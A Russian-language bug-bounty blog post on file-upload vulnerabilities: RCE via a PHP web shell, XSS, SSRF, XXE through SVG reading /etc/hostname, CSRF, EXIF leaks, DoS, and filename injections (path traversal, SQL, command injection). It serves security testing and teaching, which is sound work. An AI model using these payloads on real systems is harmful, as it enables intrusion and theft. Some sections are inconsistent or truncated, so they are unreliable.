Охота за уязвимостями File Upload. Особенности:
В этом блоге я расскажу о некоторых уязвимостях при загрузке файлов.
Во многих приложениях существует функция загрузки файлов. Однако её реализация отличается в зависимости от специфики использования. Некоторые приложения позволяют загружать только изображения, поддерживая лишь форматы, связанные с изображениями, такие как .jpg или .png. Другие приложения поддерживают загрузку различных расширений, соответствующих их бизнес-кейсам.
Одной из самых интересных атак, связанных с функцией загрузки файлов, является удалённое выполнение кода (Remote Code Execution, RCE). Существует несколько способов исполнения вредоносного кода с использованием загруженных файлов. Один из наиболее распространённых методов — загрузка шелла и получение дальнейшего доступа к системе.
Попробуйте загрузить следующий код с расширением .php. Затем определите расположение и извлеките файл. В URL-адресе файла можно добавить параметр c, где можно указать команды, например, whoami. Пример URL:
“https://example.com/shell.php?cmd=whoami”
<?php phpinfo();?> <?php system($_GET[‘c’]);?>
Важно: В реальных приложениях это будет не так просто. Обычно на загрузку подобных файлов накладываются ограничения. Ниже мы обсудим методы обхода этих ограничений.
- HackerOne Report #506646
- HackerOne Report #343726
- Статья в Medium: "File Upload to RCE"
- Chris Young: "File Upload to Remote Code Execution"
[Бонус] RCE через загрузку .gif:
Во время тестирования функционала загрузки файлов существует множество способов выполнить сценарий атаки с использованием XSS. Загрузка файлов предоставляет широкие возможности для нахождения XSS-уязвимостей в веб-приложениях. Ниже перечислены некоторые способы достижения XSS через загрузку файлов:
4) Слепой XSS (Blind XSS) через SVG-файл.
Шаги по воспроизведению атак и детали каждого метода можно найти в этой полезной статье от Brutelogic. Ознакомиться со скриптом для получения Blind XSS через SVG-файл можно тут.
- Brutelogic: "File Upload XSS"
- HackerOne Report #964550
- HackerOne Report #880099
- HackerOne Report #1010466
3.1 SSRF через загрузку файлов
Server-Side Request Forgery (SSRF) — одна из самых интересных и серьёзных уязвимостей в области безопасности. Функционал загрузки файлов может позволять использовать такие форматы, как HTML или SVG, что даёт возможность реализовать SSRF. Эта атака бывает нескольких видов:
- Внутренний SSRF (Internal SSRF).
- SSRF через метаданные облака (Cloud Metadata SSRF).
- Внешний SSRF (External SSRF).
Попробуйте отправить URL в качестве имени файла, чтобы получить Blind SSRF. Пример:
filename=https://172.17.0.1/internal/file
Также можно попытаться изменить атрибут type="file" на type="url" в запросе.
3.3 SSRF через загрузку SVG-файла.
Попробуйте загрузить следующий код с расширением .svg. После получить загруженный файл из приложения, чтобы проверить, возможен ли SSRF:
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg" height="200" width="200"/> </svg>
Попробуйте загрузить следующий код с расширением .html. После обратитесь к загруженному файлу из приложения, чтобы проверить, возможен ли SSRF:
<html> <body> <iframe src="http://collaborator.net" width="500" height="500"></iframe> </body> </html>
Функционал загрузки файлов открывает возможности для атак с использованием XML External Entities (XXE), особенно если приложение принимает файлы форматов, которые поддерживают XML. Поскольку формат SVG использует XML, злоумышленник может отправить вредоносное SVG-изображение, чтобы получить доступ к скрытым поверхностям атаки, связанным с XXE-уязвимостями.
Попробуйте загрузить следующий код с расширением .svg и получить загруженный файл из приложения:
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
Cross-Site Request Forgery (CSRF) — это атака, которая заставляет аутентифицированных пользователей отправлять запросы веб-приложению, в котором они уже прошли аутентификацию. CSRF-атаки могут быть реализованы путём создания HTML-формы.
- Перехватить запрос из формы загрузки.
- Создать Proof of Concept (PoC) с помощью CSRF-генератора в Burp Suite.
- Открыть созданный PoC-файл в другом аккаунте и в другом браузере.
- Проверить, удалось ли успешно загрузить файл от имени другого аккаунта.
Эта уязвимость возникает, когда пользователь загружает изображение на сайт, а метаданные EXIF не удаляются. В результате любой человек может получить чувствительную информацию пользователей сайта, такую как:
- Посетите репозиторий с изображениями, содержащими метаданные.
- Загрузите изображение на целевой сайт.
- Скачайте загруженное изображение с сайта.
- Проверьте наличие EXIF-метаданных через сервис для анализа метаданных. Если метаданные не были удалены, уязвимость может быть подтверждена.
7. Open Redirect через загрузку файла SVG
Функционал загрузки файлов может быть использован для создания уязвимости Open Redirect при определённых условиях. Злоумышленник может сформировать полезную нагрузку, которая перенаправит пользователя на контролируемый атакующим домен.
1) Сохраните следующий код как файл с расширением .svg:
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg" height="200" width="200"/> </svg>
2) Загрузите этот файл и попробуйте извлечь его.
8. DOS с использованием большого файла
Функционал загрузки файлов обычно ограничивает размер загружаемого файла (обычно 5–200 МБ). Однако, если проверки на размер отсутствуют, злоумышленник может загрузить файл большого размера. Это может привести к сильному потреблению ресурсов и вызову отказа в обслуживании (DOS).
- Создайте файл, размер которого превышает допустимый предел, например, изображение размером 500 МБ.
- Попробуйте загрузить этот файл. Если приложение принимает его и начинает обработку, проверьте работу приложения с другого устройства, чтобы выявить замедление или ошибки подключения.
9. Обход проверки при загрузке файлов
При проверке загружаемых файлов сервер может использовать сравнение расширений для предотвращения загрузки вредоносных файлов. Однако такие проверки можно обойти, используя различные техники обхода фильтров.
- PayloadAllTheThings File Upload Bypass.
- Unrestricted File Upload~Owasp
- Hacktricks ~ File Upload Methodology
10. Уязвимости в именах файлов
Ниже приведены примеры уязвимостей, которые можно реализовать, изменяя имя файла перед его загрузкой. Эти тесты просты и полезны для проверки. Измените имя файла на указанные варианты, чтобы проверить наличие соответствующих уязвимостей:
- Path Traversal: ../../../tmp/lol.png
- SQL-инъекция: sleep(10) -- .jpg
- XSS: <svg onload=alert(document.domain)>.jpg/png
- Command Injection: ; sleep 10;.jpg
- DOS (отказ в обслуживании): Задайте для файла длинное имя и загрузите его. Это может вызвать отказ в обслуживании.